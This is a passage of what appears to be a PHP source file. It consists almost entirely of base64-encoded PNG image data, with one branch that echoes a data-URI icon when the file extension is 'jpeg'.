GfQJdrztFbkwtjgfMj+/mEEAeB0Kxs29MBtyEMi/C/iVjKMB+/yuJv+Wnx/NbiMBkAHg6o3rcLyrThjjD3W8FEu75D04++e/z0/OpwiTS2K6J70EgCcAbeNuuDBkEYKjfa+1VsC2ihzYkP3Wqsd7pblc8llPl2ev+h7/4xMAjruBqwWh+G44cEQAdARgY+67cMNnHgBnFu9cZVEJAYhiJq8urpzY6aVPog4Ak2bpkHwejg4SgCj8Z55i3aWvZoReSYOjcL5bDWuhqwHgvuy3YcFn9Y9jduqWU8cEYA15rOADWFq+AfPXl4Q59T2XCoUW9wM578BzlWfhA1MzTPlc/bgdDzHnrjQADK5B9N28i3OwmbX+/ffDtQYXfWYYCUAYwSHZxtGhiPruuIAj1LBsNAB8Kf11OGvrDfgenoU5KBo0Q6HDJMwU+g4u4VbltgcdOyAAPsERuL9eLhYWVIaz4e34xx8nh30LVgKAmBfrzkkeB6E2vJvh4tC70o7QUHC4+XzqYeF2mWppF9bY3fQ7oZbpcaEPf2/WiYgaYUoCwDyS9z840V0PlW6bcCcSN7z6ce4Al4Nh74HmAmTmrvQjQmMLF2ncocLx1hpcMIrfUcnfHBAACgGgcArglfqiTXTy+QjWQnUAHS7jOuwWUQFiG6wB1kJ1AJidZZkdVITYZgergZwaygKQZ+m+/dcXUvI2GI5/QsVQN3jO8dxjDeTU8P/iLBUtM+80rAAAAABJRU5ErkJggg=="; } elseif ($ext == "jpeg") { echo "data:image/png;base64,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VTNdAAABIAAEQFKUdzWEt1ZOcfIDAkAACICkmNZSE84td6c/gAAQAIkwnPaLnZVOeAABIACSom+oO3xl2zInO4AAEABJ0TrQHi7fNM+JDiAABEBSbN27J1y6foaTHEAACICkWN65I1xYOdkJDiAABEBSPNy0MbyxfKKTG0AACIAkGBpJhZvqy5zUAAJAACQlAHqGusIXtyxxQgMIAAGQlADY098aLque42QGEAACICkBsLFnd3jnumlOZAABIACSEgCL2mvDmyoedRIDCAABkJQAuLexKpxd5k5/AAEgABIRAIPDqfDtulVOXAABIACSEgDdg53hczWLnLQAAkAAJCUAdva1hA9umOWEBRAAAiApAbC2e2d429qpTlYAASAAkhIAs1q3hnPLJzlRAQSAAEhKANy+a60TFEAACICkBED/cHe4oXa5kxNAAAiApARA+0BH+JdN852YAAJAACQlALb3NoX3Vc10UgIIAAGQlABY3VUf3lI52QkJIAAEQFIC4NHmzeGcctP6AggAAZCIABhO+2lDuZMQQAAIgKQEwN6hrvDlrUudgAACQAAkJQCa+9vCP26c6+QDEAACICkBUNPTGN69broTD0AACICkBMBjHdvDBRWPOukABIAASEoAPLinOpztTn8AASAAkhEAQ8Op8P0dq51oAAJAACQlAFJDneHqLYudZAACQAAkJQB297WGj2yY7QQDEAACICkBUJXaFS5ZN83JBSAABEBSAmBe27ZwfsUkJxaAABAASQmAu3avD2c5oQAEgABIRgAMDKfCN7evdDIBCAABkJQA6BzsCJ/evNCJBCAABEBSAmBHb3P4QNVMJxGAABAASQmA8u6GcPHaKU4gAAEgAJISANNbasK55e70BxAAAiARATCcdvPOSicNgAAQAEkJgL6h7nD9tmVOGAABIACSEgCtA+3h8k3znCwAAkAAJCUAtu3dEy5dP8OJAiAABEBSAmB5545wYeVkJwmAABAASQmAh5s2hjeWT3SCAAgAAZCEABgaSYWb6sucGAACQAAkJQD2DnWFa7cucVIACAABkJQA2NPfFi6rnuOEABAAAiApAbCppzG8c900JwOAABAASQmARe214U0VjzoRAASAAEhKANy3Z0M4u8yd/gACQAAkIgAGh1PhO3WrHPwAAkAAJCUAugc7w+drFjnwARAASQmAnX0t4UMb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